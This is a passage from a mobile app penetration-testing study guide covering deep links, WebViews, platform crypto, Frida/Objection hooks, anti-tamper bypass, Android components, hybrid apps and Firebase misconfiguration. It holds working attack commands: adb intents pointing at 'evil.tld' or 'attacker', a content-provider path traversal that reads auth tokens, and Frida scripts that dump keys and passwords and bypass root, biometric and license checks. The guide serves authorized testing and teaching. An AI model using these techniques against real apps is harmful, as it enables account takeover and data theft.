  3. M3 Insecure Authentication/Authorization — weak auth, client-side authz, BOLA/BFLA. Validate: bypass client checks (Frida); test IDs/roles against the API. Fix: enforce authN/authZ server-side.

  4. M4 Insufficient Input/Output Validation — injection (SQLi in providers, WebView XSS), unsafe deserialization. Validate: fuzz inputs, provider queries, deep-link params. Fix: parameterize, validate, encode.

  5. M5 Insecure Communication — cleartext, weak TLS, pinning absent/misused. Validate: intercept; check ATS/networkSecurityConfig. Fix: TLS 1.2+, no cleartext, correct pinning.

  6. M6 Inadequate Privacy Controls — over-collection/leakage of PII. Validate: inspect data stored/sent/logged. Fix: minimize, protect, disclose.

  7. M7 Insufficient Binary Protections — no anti-tamper/obfuscation where warranted; easy secret extraction. Validate: decompile; extract secrets; patch. Fix: defense-in-depth (obfuscation, integrity) — never as the only control.

  8. M8 Security Misconfiguration — debuggable, backup enabled, exported components, weak defaults. Validate: manifest/Info.plist review; reach exported components. Fix: harden config; disable debug/backup; restrict exports.

  9. M9 Insecure Data Storage — sensitive data in cleartext prefs/DB/NSUserDefaults/files. Validate: pull and inspect app data / backup. Fix: encrypt via platform keystore; store secrets server-side.

  10. M10 Insufficient Cryptography — weak algorithms, hardcoded/predictable keys, ECB, static IVs. Validate: review crypto usage; hook Cipher. Fix: strong algorithms, platform key management, random IVs.


Deep links and inter-component messaging are a major mobile attack surface because they let external, attacker-controlled input reach internal app functionality.

Android deep links & App Links.

  • Custom-scheme deep links (myapp://...) — declared via an intent-filter with a <data android:scheme>. Any app (or a web page, or adb) can invoke them. Historically unverified.

  • App Links (https:// with android:autoVerify="true") — verified against a server-hosted assetlinks.json, so only your domain opens the app. Stronger, but misconfig (missing verification, wildcard hosts) reopens the hole.

What to test:

# enumerate deep links from the manifest, then fire them:
adb shell am start -a android.intent.action.VIEW -d "myapp://reset-password?token=GUESS"
adb shell am start -a android.intent.action.VIEW -d "myapp://open/webview?url=https://evil.tld"
adb shell am start -a android.intent.action.VIEW -d "https://app.target.tld/transfer?to=attacker&amt=1000"

Findings to look for: a deep link that performs a sensitive action without re-authentication (transfer, password reset, add-email); a link whose parameter is loaded into a WebView (?url= → open-redirect / phishing / local-file read, §20); a link that leaks a token to a handler; or one that drives intent redirection (the app forwards your crafted intent to a privileged internal component). Impact: unauthorized actions, account takeover, data exposure. Fix: authenticate and authorize deep-linked actions server-side, validate/allow-list parameters (especially URLs), use verified App Links, and never forward untrusted intents to sensitive components.

Android Intent attacks (IPC).

  • Implicit intent hijacking — if the app sends a sensitive implicit intent (e.g., with a token extra), a malicious app registering a matching filter can intercept it. Fix: use explicit intents for sensitive data.

  • Intent redirection / "intent forwarding" — an exported component takes an Intent extra and startActivity()s it, letting an external app pivot into non-exported internal components. Validate: craft an intent whose extra targets an internal component. Fix: don't launch attacker-supplied intents; validate component targets.

  • PendingIntent mutability — a mutable PendingIntent handed to another app can be filled in and abused to act as the victim app. Fix: FLAG_IMMUTABLE.

  • Sticky/exported broadcasts — crafted broadcasts to exported receivers trigger logic (reset, config change). Validate: adb shell am broadcast -a <action> --es key val.

iOS URL schemes & Universal Links.

  • Custom URL schemes (myapp://) — declared in Info.plist CFBundleURLTypes; any app can invoke them, and multiple apps can claim the same scheme (scheme hijacking/collision). Test: openURL with crafted input to the handler (application:openURL:options: / SwiftUI onOpenURL).

  • Universal Links (https://) — verified via the server's apple-app-site-association (AASA) file; stronger, but misconfigured AASA (wrong paths, missing file) weakens it.

xcrun simctl openurl booted "myapp://pay?to=attacker&amount=9999"   # Simulator
# on device: navigate to the link in Safari / Notes to trigger the handler

Findings: URL-scheme handler performing sensitive actions on unvalidated input; data passed via a scheme another app can intercept; AASA misconfiguration. Fix: treat all URL input as untrusted, authenticate sensitive actions, prefer Universal Links with a correct AASA, validate source where possible.

The unifying principle: deep links / schemes / intents are remote input. Every one that reaches a sensitive action or a WebView, or carries a secret, is a finding unless the app re-authenticates and validates server-side.


20. WebView Security Deep Dive

WebViews embed a browser inside the app. They're a dense source of findings because they mix web vulns with native access.

The dangerous settings (hunt these in decompiled code / at runtime):

webView.getSettings().setJavaScriptEnabled(true);          // JS execution
webView.addJavascriptInterface(new NativeBridge(), "Android"); // JS -> native method bridge
webView.getSettings().setAllowFileAccess(true);            // file:// access
webView.getSettings().setAllowFileAccessFromFileURLs(true);     // cross-file read
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // file -> any origin (very dangerous)
webView.loadUrl(untrustedUrl);                              // attacker-influenced URL

Attack classes:

  1. JavaScript-to-native bridge abuse (addJavascriptInterface). Any method on the bridged object is callable from JS running in the WebView. If an attacker controls the loaded page (via a ?url= deep link, an open redirect, a MITM on cleartext, or stored XSS), they call native methods — potentially reading files, exfiltrating data, or (pre-API-17 / @JavascriptInterface misuse) reaching reflection → RCE-in-app. Validate: find the bridge, host a page that calls Android.<method>(...), load it via the app's WebView entry point. Fix: don't bridge sensitive methods; annotate @JavascriptInterface minimally; only load trusted first-party content; disable JS where not needed.

  2. Loading attacker-controlled URLs. A WebView that loads a URL from a deep link, intent extra, or server response you can influence → phishing (render a fake login in the trusted app chrome), open redirect, or JS execution against the bridge. Fix: allow-list hosts; never load untrusted URLs.

  3. Local file theft via file://. With setAllowFileAccess/...FromFileURLs/setAllowUniversalAccessFromFileURLs enabled, JS in a file:// context can read the app's sandboxed files (tokens, DBs) and exfiltrate them. Validate: load a file:// page that XMLHttpRequests file:///data/data/com.pkg/... and posts it out. Fix: disable file-URL access; keep universal access off.

  4. Mixed content / cleartext in WebView. HTTP resources in an HTTPS WebView, or a WebView ignoring TLS errors (onReceivedSslError → handler.proceed()), enable MITM injection. Fix: no mixed content; never proceed on SSL errors.

  5. intent:// scheme & JS-triggered intents. A WebView that handles intent:// URLs can be driven to launch internal components from web content. Fix: restrict shouldOverrideUrlLoading handling.

iOS WebViews: prefer WKWebView (out-of-process, safer) over the deprecated UIWebView (in-process, more dangerous). Check WKScriptMessageHandler bridges (the iOS analogue of addJavascriptInterface), allowsArbitraryLoads/ATS exceptions, and whether WKWebView loads untrusted URLs or local files (loadFileURL). Same attack classes: JS↔native bridge abuse, untrusted-URL loading, and local-file access.

Testing approach: (1) find every WebView and its settings statically; (2) identify how the loaded URL is chosen (hardcoded? deep link? server-controlled?); (3) if you can influence it, host a proof page that exercises the bridge / reads a local file; (4) tie impact to what the bridge or file access actually exposes. A JS bridge over an attacker-controllable URL is frequently the highest-severity client-side finding in a mobile app.


21. Platform Crypto, Keystore/Keychain & Biometrics

Correct use of platform crypto is what separates real protection from base64-and-hope. The eMAPT tests whether you can spot incorrect crypto and storage.

Android Keystore (done right vs. wrong).

  • Right: keys generated and stored in the AndroidKeyStore, backed by the TEE/StrongBox; key material never leaves secure hardware; app uses the key handle to encrypt/decrypt. Pair with Jetpack Security EncryptedSharedPreferences / EncryptedFile (which use a Keystore master key).

  • Wrong (findings): AES key hardcoded in the APK or derived from a static/device value; "encryption" that's actually base64 or XOR; ECB mode (reveals patterns); static IV; Random instead of SecureRandom; MD5/SHA-1 for password hashing (use Argon2/bcrypt/scrypt/PBKDF2 — server-side); keys written to prefs/files.

  • Validate: read the crypto code (jadx), or hook it at runtime:

Java.perform(function(){
  var Cipher = Java.use('javax.crypto.Cipher');
  Cipher.doFinal.overload('[B').implementation = function(b){
    console.log('[cipher] mode='+this.getAlgorithm()); 
    var out=this.doFinal(b); console.log('[cipher] in/out captured'); return out;
  };
  var Key = Java.use('javax.crypto.spec.SecretKeySpec');
  Key.$init.overload('[B','java.lang.String').implementation=function(k,a){
    console.log('[key] '+a+' = '+bytesToHex(k)); return this.$init(k,a);  // dump the key
  };
});

If you can dump the key via a hook or extract it from the binary, the "encryption" provides no confidentiality against a device attacker.

iOS Keychain & Data Protection.

  • Right: secrets in the Keychain with the tightest accessibility class — kSecAttrAccessibleWhenUnlockedThisDeviceOnly (not synced, only when unlocked); files with NSFileProtectionComplete; keys in the Secure Enclave where possible.

  • Wrong (findings): tokens/passwords in NSUserDefaults (cleartext plist) or flat files; Keychain items with kSecAttrAccessibleAlways / not ThisDeviceOnly (available when locked / synced to other devices); custom crypto with hardcoded keys; data-protection class None.

  • Validate (jailbroken): objection ... ios keychain dump (shows items + accessibility), ios nsuserdefaults get, inspect Library/Preferences/<bundle>.plist and the container files.

Biometric / local authentication bypass. Apps often gate access with Touch/Face ID or a local PIN. Two failure modes:

  1. Event-based (insecure): biometric success just calls a callback that flips a local boolean / navigates — no cryptographic tie. Bypass: hook the success callback with Frida to always fire (or flip the boolean). This is a finding — the biometric is decorative.

    // iOS: force LAContext evaluatePolicy success
    var LA = ObjC.classes.LAContext['- evaluatePolicy:localizedReason:reply:'];
    Interceptor.attach(LA.implementation, { onEnter: function(a){ /* swap reply block to success */ } });
    
  2. Crypto-bound (secure): biometric unlocks a Keystore/Keychain key (setUserAuthenticationRequired(true) / kSecAccessControl with biometry) that's actually needed to decrypt data. Can't be bypassed by flipping a boolean, because without the biometric the key won't release. This is the correct pattern — note it as a strength.

  • The test: determine whether biometric success merely signals the app or actually releases a key. If hooking the callback grants access, it's insecure local auth (M3). Fix: bind sensitive data/actions to a biometric-gated hardware key, and re-validate on the server.

Reporting crypto findings: always state what the weakness allows (e.g., "local AES key hardcoded → any attacker with the APK decrypts stored session tokens → account takeover on a stolen device") and the precise fix (Keystore-backed key, random IV, GCM, ThisDeviceOnly, biometric-bound key).


22. Frida & Objection Scripting Cookbook

A practical hook reference — the techniques you'll reuse constantly. (Authorized apps/labs only.)

Objection one-liners (no scripting needed):

# Android
android hooking list activities | services | receivers
android hooking search classes <keyword>
android hooking watch class com.pkg.Crypto --dump-args --dump-return
android hooking set return_value com.pkg.RootCheck.isRooted false
android sslpinning disable
android root disable
android keystore list
android intent launch_activity com.pkg/.AdminActivity
# iOS
ios hooking list classes | search classes <keyword>
ios hooking watch method "-[LoginVC validatePin:]" --dump-args --dump-return --dump-backtrace
ios sslpinning disable ; ios jailbreak disable
ios keychain dump ; ios nsuserdefaults get ; ios cookies get
ios pasteboard monitor
# both
memory search --string "token" ; memory list modules ; env ; file download <remote> <local>

Frida — Android recipes:

// 1) enumerate & hook every method of a class
Java.perform(function () {
  var C = Java.use('com.pkg.AuthManager');
  C.class.getDeclaredMethods().forEach(function (m) { console.log(m.toString()); });
});

// 2) bypass a boolean security check (root/jailbreak/debug/license)
Java.perform(function () {
  Java.use('com.pkg.Security').isDeviceRooted.implementation = function () { return false; };
  Java.use('com.pkg.License').isPremium.implementation       = function () { return true;  };
});

// 3) dump arguments & return of a sensitive method
Java.perform(function () {
  var L = Java.use('com.pkg.LoginActivity');
  L.doLogin.overload('java.lang.String','java.lang.String').implementation = function (u, p) {
    console.log('[login] user=' + u + ' pass=' + p);
    return this.doLogin(u, p);
  };
});

// 4) trace all network requests (OkHttp example)
Java.perform(function () {
  var RB = Java.use('okhttp3.Request$Builder');
  RB.build.implementation = function () { var r = this.build(); console.log('[http] ' + r.url().toString()); return r; };
});

// 5) dump strings from a runtime string-decryption routine (deobfuscation)
Java.perform(function () {
  var D = Java.use('com.pkg.a.b');       // obfuscated decryptor
  D.a.implementation = function (s) { var r = this.a(s); console.log('[str] ' + r); return r; };
});

Frida — iOS recipes:

// 1) list methods of a class
if (ObjC.available) { var m = ObjC.classes.LoginViewController.$ownMethods; console.log(m.join('\n')); }

// 2) force a BOOL method to return YES (bypass client check)
Interceptor.attach(ObjC.classes.JailbreakDetector['- isJailbroken'].implementation, {
  onLeave: function (ret) { ret.replace(ptr(0)); }   // 0 = NO
});

// 3) trace a method's args (NSString)
Interceptor.attach(ObjC.classes.APIClient['- requestWithToken:'].implementation, {
  onEnter: function (args) { console.log('[token] ' + new ObjC.Object(args[2]).toString()); }
});

// 4) hook a C function (e.g., a custom integrity check)
Interceptor.attach(Module.getExportByName(null, 'check_integrity'), {
  onLeave: function (r) { r.replace(ptr(1)); }
});

Workflow tips: use frida -U -f com.pkg -l s.js --no-pause to spawn-and-hook from launch (catches early checks); use --runtime=v8 for modern JS; stack a pinning-bypass + root/JB-bypass + your target hook in one script so the app runs and you can observe. Prove, don't just poke: every hook should map to a concrete finding ("hooking isPremium→true unlocks paid features with no server check → broken authorization").


23. Practice Labs & Vulnerable-App Reference

Practice only on intentionally-vulnerable apps and authorized labs — these are purpose-built to be exploited legally.

Android practice targets:

DIVA (Damn Insecure and Vulnerable App)   insecure storage, hardcoding, input validation, access control
InsecureBankv2                            full banking app: auth, storage, IPC, root detection, API
OWASP MASTG "crackmes" / UnCrackable 1-4  reversing & anti-tamper (string encryption, root/JB, integrity)
Allsafe                                   modern Android issues incl. Frida-focused challenges
Pivaa (Purposefully Insecure & Vulnerable Android App)  broad coverage
AndroGoat / GoatDroid                     Kotlin/legacy coverage
DVHMA                                     hybrid (WebView/JS bridge) issues
InjuredAndroid                            CTF-style flags across component/deep-link/storage bugs

iOS practice targets:

DVIA-v2 (Damn Vulnerable iOS App)         storage, transport, IPC, jailbreak/pinning, runtime, crypto
OWASP MASTG iOS UnCrackable 1-3           reversing & anti-tamper on iOS
iGoat-Swift                               guided lessons per vuln class
Myriam                                    runtime manipulation challenges

Backend/API practice (for the mobile-API muscle): the companion APIs of the apps above, plus crAPI, VAmPI, and OWASP Juice Shop (for BOLA/BFLA/JWT/auth patterns that map directly to mobile backends).

Lab environment checklist:

Android : rooted test device OR AVD/Genymotion; frida-server matching the frida client version;
          Burp/mitmproxy with CA installed (system store on emulator); jadx, apktool, objection, MobSF
iOS     : jailbroken test device (checkra1n/palera1n/unc0ver per iOS version); frida-server via Sileo;
          frida-ios-dump for decryption; Hopper/Ghidra; Burp/mitmproxy with trusted CA profile
Malware : fully ISOLATED emulator/VM or air-gapped device; no real accounts/SIM; monitored or no network

How to practice for retention (not just tool-running): for each lab bug, write down the four things the exam grades — why it exists, how you validated it, its impact, the developer fix — and map it to a MASVS requirement + Mobile Top 10 ID. Re-do a couple of apps end-to-end under time pressure (recon → static → dynamic → API → RE → report) to simulate the exam's engagement shape. Alternate Android and iOS so neither platform goes stale.


24. Device Prep: Rooting, Jailbreaking & Emulators

Full dynamic testing needs elevated access to the device so you can read the app sandbox, run frida-server, and inspect the Keychain/Keystore. Set this up once.

Android options:

  • Rooted physical device — most faithful (real hardware checks, sensors, Play Integrity behavior). Root via Magisk; Magisk also offers DenyList/Zygisk to hide root from apps that check for it.

  • Emulator (AVD) — fast and disposable. Use a non-Google-Play system image (it ships with root via adb root), which makes installing a system-store CA and frida-server trivial. Downsides: emulator-detection by some apps/malware (spoof build props or use a real device).

  • Genymotion — convenient rooted emulator with easy networking.

adb root ; adb remount                      # emulator root
adb shell getprop ro.build.fingerprint      # emulator-detection indicators to be aware of
# install Burp CA into the system store (emulator): rename to <hash>.0, push to /system/etc/security/cacerts

iOS options:

  • Jailbroken device — required for most iOS dynamic testing (frida-server, Keychain dump, binary decryption, container access). Jailbreak depends on the iOS version / hardware: checkra1n/palera1n (checkm8 hardware exploit, A-series up to A11), unc0ver / Taurine / Dopamine (software, version-specific).

  • Non-jailbroken testing is limited — you can re-sign and install an app with your own dev cert and inject a Frida gadget (objection patchipa), which enables instrumentation without a jailbreak but not full-device access.

# after jailbreak: install frida-server via Sileo/Cydia, then from host:
frida-ps -Uai
objection -g <bundle-id> explore

Hiding your tooling (because apps detect it): many apps detect root/jailbreak, Frida, and proxies. Expect to bypass detection (§25) to proceed. For root-hiding use Magisk DenyList; for Frida detection, rename frida-server/port and hook the detection; for proxy detection, use a transparent proxy or VPN-based interception. Document that these controls exist (they're a positive) and that they're bypassable on a controlled device (expected) — then focus on the real issues behind them.


25. Anti-Tamper, Anti-Debug & Resilience Bypass

OWASP MASVS-RESILIENCE controls (root/JB detection, anti-debug, anti-hooking, integrity checks, obfuscation) are defense-in-depth, not security boundaries. The exam wants you to (a) identify them, (b) bypass them in your authorized lab so you can test the real app, and (c) report them correctly (present = good; sole reliance on them = a weakness).

Root detection (Android) — common checks: su binary in PATH, Magisk/busybox, test-keys build tags, writable system paths, root-management packages, RootBeer library. Bypass: objection android root disable, Magisk DenyList, or hook the detection method to return false (§22).

Jailbreak detection (iOS) — checks for /Applications/Cydia.app, /bin/bash, /etc/apt, suspicious dylibs in _dyld_image_count, ability to fork() or write outside the sandbox, URL scheme cydia://. Bypass: objection ios jailbreak disable or hook the checks (NSFileManager fileExistsAtPath:, fork, stat) to hide artifacts.

Anti-debug — ptrace(PT_DENY_ATTACH) (iOS) / isDebuggerConnected, TracerPid in /proc/self/status (Android), timing checks. Bypass: hook ptrace/the check; spawn-and-attach with Frida before the check runs (frida -f ... --no-pause).

Anti-Frida / anti-hooking — detect frida-server port 27042, the string "frida" in loaded libraries/maps, named pipes, or /proc/self/maps entries. Bypass: run frida-server on a non-default port, rename it, use frida-gadget embedded in a re-signed app, or hook the detection (e.g., filter /proc/self/maps reads).

Integrity / tamper checks — the app verifies its own signature/checksum or detects repackaging (so your smali patch is caught). Bypass: prefer runtime hooking (Frida) over repackaging so the on-disk binary is unchanged; or hook the integrity-check method to return "valid."

Emulator detection — build props, missing sensors/telephony, QEMU artifacts. Bypass: use a real device, or spoof the checked properties.

The report framing (important): none of these being bypassable is, by itself, a critical vulnerability — a determined attacker on a device they control will always win against client-side resilience. Report them as: "Resilience controls present (positive); bypassable on a rooted/jailbroken device as expected (informational); they must not be the only protection for [sensitive asset] — the backend must enforce [X]." Elevate to a real finding only when the bypass unlocks a concrete impact (e.g., bypassing a client-side license check unlocks paid features because the server never validates entitlement → broken authorization).


26. Native Libraries, JNI & Binary Analysis

Developers push sensitive logic (crypto, key derivation, integrity checks, anti-tamper) into native code (.so on Android via the NDK, or Mach-O/native on iOS) precisely because it resists Java/Obj-C decompilation. You need to analyze and hook at this layer.

Android native (.so) analysis:

  • Native libs live in lib/<abi>/*.so inside the APK. Load into Ghidra/IDA to disassemble/decompile ARM/ARM64.

unzip -j app.apk "lib/arm64-v8a/*.so" -d native/
strings -a native/libsecret.so | grep -iE "key|http|token"   # quick secrets
file native/*.so ; nm -D native/libsecret.so                  # exported symbols
# Ghidra: analyze, find Java_<pkg>_<Class>_<method> JNI exports, follow the crypto/check logic
  • JNI entry points are named Java_<package>_<Class>_<method> — these are the bridge from Java to native. Find them (exported symbols) to locate the interesting functions.

  • Hook native functions with Frida (works even when the logic is in C):

// hook a JNI-exported native check
Interceptor.attach(Module.getExportByName('libsecret.so', 'Java_com_pkg_Native_verify'), {
  onEnter: function (args) { /* args[0]=JNIEnv, args[1]=this, args[2..]=params */ },
  onLeave: function (ret) { console.log('[native verify] -> ' + ret); ret.replace(ptr(1)); }
});
// hook a non-exported function by offset:
var base = Module.findBaseAddress('libsecret.so');
Interceptor.attach(base.add(0x1234), { onLeave: function(r){ r.replace(ptr(1)); } });
// intercept libc the app relies on (e.g., strcmp used in a key check):
Interceptor.attach(Module.getExportByName(null,'strcmp'), {
  onEnter:function(a){ console.log('strcmp("'+a[0].readUtf8String()+'","'+a[1].readUtf8String()+'")'); }
});

iOS native analysis: the whole app is a Mach-O (§11). After decryption, analyze in Ghidra/Hopper/IDA; hook C functions and Obj-C/Swift methods with Frida (§22). Swift symbols are mangled — use the tool's demangler (swift demangle, Ghidra's Swift support) to make sense of them.

When to go native: if jadx shows a method is native (declared, body in a .so), if secrets/keys aren't in the Java/resources, or if an integrity/root check survives your Java-level hooks — the logic is in native code and you analyze/hook it there. Efficient approach: you rarely reverse the whole library; find the one JNI export or offset that matters (the key, the check, the token generator), understand or hook it, and prove the point. Dynamic hooking at the native boundary usually beats fully static reversing of obfuscated native code.


27. Android Component Deep-Dive

Each Android component type is an attack surface with its own abuse patterns. This expands §6 with per-component detail, detection, and examples.

Activities. UI screens. The risk is exported activities that assume prior state (authentication, a selected account, an elevated mode).

  • Detect: aapt dump badging app.apk | grep activity; in the decoded manifest, exported="true" or any <intent-filter> (which implicitly exports).

  • Abuse: launch directly, and pass crafted extras the activity trusts.

adb shell am start -n com.pkg/.AdminActivity
adb shell am start -n com.pkg/.WebActivity --es url "https://evil.tld"      # extras it trusts
adb shell am start -n com.pkg/.TransferActivity --es amount 99999 --es to attacker
  • Also: task hijacking / StrandHogg — a malicious app with taskAffinity/allowTaskReparenting can insert itself into the victim's task stack to overlay a phishing screen. Check launchMode and taskAffinity. Fix: set taskAffinity="", android:exported="false", re-validate state on entry.

Services. Background execution. Exported/bound services can be invoked or bound by other apps, and AIDL interfaces expose methods.

  • Detect: exported services in manifest; AIDL .aidl interfaces in the decompile.

  • Abuse: adb shell am startservice -n com.pkg/.ExportedService --es cmd sync; bind to the service from a PoC app and call its AIDL methods.

  • Fix: exported="false" or signature permission; validate the caller's UID/permission inside the service.

Broadcast Receivers. Event handlers. Exported (static-registered or dynamically registered without a permission) receivers accept crafted broadcasts.

  • Abuse: adb shell am broadcast -a com.pkg.SECRET --es key value. Dynamically-registered receivers with no permission are reachable while the app runs.

  • Fix: not exported; registerReceiver(..., permission, ...); validate action/extras; RECEIVER_NOT_EXPORTED (Android 13+).

Content Providers. Structured data sharing (often SQLite). Three classic bugs:

  • Exported provider data leak — content query --uri content://com.pkg.data/users returns rows.

  • SQL injection in selection/projection/sortOrder passed to rawQuery (§27.2 earlier).

  • Path traversal in a FileProvider/openFile that builds a path from the URI:

adb shell content read --uri "content://com.pkg.files/../../../../data/data/com.pkg/shared_prefs/auth.xml"
  • Fix: exported="false"/grantUriPermissions scoped; parameterized queries; canonicalize and jail file paths; android:pathPermissions.

Intents (the glue). Beyond components: implicit-intent interception (sensitive data in an implicit intent another app can receive), intent redirection (an exported component forwards an attacker-supplied Intent extra to an internal component — "intent forwarding"), and mutable PendingIntent abuse (FLAG_IMMUTABLE missing → another app fills it in and acts as the victim app). Validate: craft intents with nested-Intent extras aimed at internal components; check PendingIntent flags in the decompile. Fix: explicit intents for sensitive data, never launch attacker intents, FLAG_IMMUTABLE.

drozer-style enumeration automates all of the above (§32). The method is always: enumerate exported components → understand what each does with its input → craft input to reach sensitive behavior → prove impact.


28. iOS Objective-C / Swift Runtime & Binary Deep-Dive

iOS reversing rewards understanding the Objective-C runtime and how Swift differs. This expands §11/§12.

Objective-C runtime. Obj-C is message-passing (objc_msgSend(receiver, selector, args...)) resolved at runtime — which is exactly why Frida/Cycript can hook any method dynamically. class-dump recovers the full class/method/property layout from the Obj-C metadata in the Mach-O:

class-dump -H App -o headers/           # all @interface headers -> the app's API surface
otool -oV App | less                    # Obj-C segment: classes, methods, ivars

Read the headers to map auth/crypto/network classes, then hook the interesting selectors (§22). Because dispatch is dynamic, you can swizzle or Interceptor.attach(ObjC.classes.X['- method:'].implementation, ...) with no source.

Swift differences. Swift uses static/vtable dispatch for many calls and name mangling, so class-dump sees less and symbols look like $s3App11LoginVCC.... Approach:

nm App | swift demangle | less          # demangle Swift symbols
# Ghidra 10+ demangles Swift; dsdump recovers Swift type metadata

Swift methods are still hookable via Frida when you resolve the mangled symbol or address; @objc-annotated Swift methods behave like Obj-C and are easy to hook. Many apps are mixed Obj-C + Swift.

Mach-O internals worth knowing: load commands (otool -l) reveal LC_ENCRYPTION_INFO (FairPlay — decrypt first, §10), linked dylibs (otool -L), and __TEXT/__DATA segments. __cstring/__objc_methname sections hold strings/selectors (strings -a or a disassembler). PIE/ASLR means addresses are runtime-rebased — compute Module.findBaseAddress + offset when hooking non-exported functions.

Keychain & data protection at the API level. Hook SecItemAdd/SecItemCopyMatching to see exactly what's stored and with which kSecAttrAccessible* class:

Interceptor.attach(Module.getExportByName('Security','SecItemAdd'), {
  onEnter: function (a) { console.log('[SecItemAdd] ' + new ObjC.Object(a[0]).toString()); }
});

Anti-debug via ptrace: iOS apps call ptrace(PT_DENY_ATTACH) or sysctl to detect debuggers — hook ptrace/sysctl to neutralize (§25).

Practical flow: decrypt → class-dump/Ghidra to map the app → identify auth/crypto/network/jailbreak-check methods → hook them with Frida to dump args/returns and bypass client checks → intercept the API → test the backend. Swift's opacity pushes you toward dynamic analysis even more than Android.


29. Hybrid & Cross-Platform App Testing (React Native, Flutter, Cordova)

Many modern apps aren't native Java/Kotlin/Swift — they're built with cross-platform frameworks that change where the logic and secrets live. Identify the framework first (file layout in the APK/IPA), then use the right approach.

React Native (JS logic in a bundle).

  • Identify: assets/index.android.bundle (Android) / main.jsbundle (iOS), libreactnativejni.so, RN packages.

  • The logic and often secrets live in the JS bundle, not the DEX. Extract and read it:

unzip -j app.apk "assets/index.android.bundle" -d rn/
# if minified, beautify:
npx js-beautify rn/index.android.bundle > rn/bundle.js
grep -iE "api[_-]?key|secret|token|https?://|password" rn/bundle.js
# Hermes bytecode? (header 'Hermes') -> decompile with hermes-dec / hbctool
  • Dynamic: if debuggable/dev mode, attach the RN debugger; otherwise hook the native bridge. Secrets in the JS bundle are a very common RN finding.

Flutter (compiled Dart, hardest to inspect).

  • Identify: libflutter.so, libapp.so (the compiled Dart), flutter_assets/.

  • The Dart code is AOT-compiled into libapp.so — no easy decompile. Flutter also ignores the system proxy and does its own TLS, so normal proxying fails.

  • Traffic interception: use reFlutter (patches the Flutter engine to route through a proxy and disable pinning) or hook ssl_verify_peer_cert in the statically-linked BoringSSL inside libflutter.so at the right offset.

# reFlutter repackages the APK to proxy Flutter traffic (then install the patched APK)
reflutter app.apk
  • Static: strings libapp.so for endpoints/secrets; Dart RE is hard — focus on the API once you can intercept.

Cordova / Ionic / Capacitor (WebView apps).

  • Identify: assets/www/ containing HTML/JS/CSS; config.xml.

  • The whole app is a WebView — all the §20 WebView issues apply, plus the JS can call native plugins. Read assets/www/js/* for secrets, endpoints, and logic; test the Cordova plugin bridge like a JS↔native interface.

unzip -j app.apk "assets/www/*" -d www/ ; grep -rInE "api|key|token|http" www/
  • Common findings: hardcoded secrets/endpoints in the web assets, insecure plugin usage, file:///CSP issues, loading remote content.

Xamarin / .NET MAUI. Identify: assemblies/*.dll (Mono/.NET). Decompile the DLLs with dnSpy/ILSpy — the logic is in .NET IL, often with readable names and embedded secrets.

Takeaway: the vulnerability classes are the same (hardcoded secrets, insecure storage, broken auth, backend flaws), but where to look shifts — JS bundle (RN), libapp.so (Flutter), www/ (Cordova), .dll (Xamarin). Always fingerprint the framework before diving in.


30. Traffic Analysis Deep-Dive (beyond plain HTTPS)

§13 covered proxying HTTPS. Real apps use protocols and transports that need more than Burp's defaults.

Non-proxy-aware traffic. Some apps (and Flutter, §29) ignore the system HTTP proxy. Options:

  • Transparent/VPN interception — route all device traffic through the host: mitmproxy in transparent mode, or a VPN-based tool (e.g., an on-device capture app) that forces traffic to the proxy regardless of proxy settings.

  • iptables redirect (rooted Android) to force ports 80/443 to the proxy.

  • Frida at the socket/TLS layer — hook SSL_write/SSL_read (OpenSSL/BoringSSL) or javax.net.ssl to read plaintext even when you can't MITM the wire:

// Android OkHttp/BoringSSL plaintext capture
Interceptor.attach(Module.getExportByName("libssl.so","SSL_write"), {
  onEnter:function(a){ console.log("[TLS out] "+Memory.readUtf8String(a[1], a[2].toInt32())); }
});

gRPC / Protobuf. Mobile backends increasingly use gRPC over HTTP/2 with binary Protobuf bodies. Burp shows binary blobs — use the Protobuf/gRPC Burp extensions (or protoscope/blackboxprotobuf) to decode and edit fields. If the .proto is recoverable from the binary (strings/metadata), use it; otherwise infer field types with blackbox protobuf. Test the same BOLA/BFLA/auth issues at the field level.

WebSockets. Chat/live apps use WS. Burp has a WebSockets history/repeater — inspect and modify frames; test for XSS into a chat an admin views, injection in WS messages, and missing authz on WS actions (CSWSH if the handshake lacks origin/CSRF protection).

Certificate transparency / pinning nuances. Some apps pin and check CT logs; a bypass must defeat both (Objection/Frida scripts usually do). Note in the report whether pinning is to a leaf cert (brittle) or public key/CA (correct), and whether backup pins exist.

What to extract from traffic: every endpoint + method + params, auth tokens and how they're obtained/refreshed, object IDs (BOLA targets), role/entitlement fields (BFLA/mass-assignment targets), and any data the API returns beyond what the UI shows (excessive data exposure). Save a full endpoint inventory — it's the backbone of §14 API testing.


31. Firebase, Cloud Backends & Push Notifications

Mobile apps lean heavily on BaaS (Backend-as-a-Service) and cloud storage, which introduce their own misconfigurations — often discoverable straight from the client.

Firebase (very common, very often misconfigured).

  • Find the project in the decompiled app / google-services.json / strings: the Realtime Database URL (https://<project>.firebaseio.com) and Firestore/Storage buckets.

  • Open Realtime Database — test for unauthenticated read:

curl "https://<project>.firebaseio.com/.json"            # returns the DB if rules allow public read
curl "https://<project>.firebaseio.com/users.json"

Impact: mass data exposure (and write, if rules allow). Fix: lock security rules to authenticated, ownership-scoped access.

  • Firebase Storage / Cloud Storage buckets — test public listing/read of *.appspot.com buckets.

  • Remote Config — may leak feature flags, keys, or endpoints to any client; inspect what's fetched.

  • The Firebase API key in the app is not secret (it identifies the project) — the real control is security rules and App Check; test whether the backend relies on the client.

Cloud storage (S3/GCS/Azure Blob). Hardcoded bucket names/URLs in the binary → test for public read/list and over-permissive ACLs (authorized scope only). Secrets occasionally sit in world-readable buckets referenced by the app.

Push notifications (FCM/APNs). Check whether a leaked FCM server key (sometimes embedded) allows sending push to all users (spam/phishing). Test whether push payloads carry sensitive data or drive sensitive actions (a notification that deep-links into a privileged action = §19 abuse). Fix: keep server keys server-side; don't put secrets/actions in notification payloads.

GraphQL backends. If the mobile API is GraphQL, run introspection ({__schema{types{name}}}) to dump the schema, then hunt BOLA/BFLA at the field/mutation level and over-fetching. Batching/aliases can bypass rate limits.

Generalize: the client reveals the backend's identity (URLs, buckets, project IDs, keys). The findings are almost always server-side trust mistakes — public data stores, client-trusted security rules, or secrets that shouldn't be in the client. Map each to MASVS-NETWORK/AUTH and report the server-side fix.


32. Drozer & Attack-Surface Automation

Drozer is the classic Android attack-surface framework — it automates enumerating and interacting with exported components (the §27 work) from a controlled agent app.

# install the drozer agent on the device, start the embedded server, then connect:
adb forward tcp:31415 tcp:31415
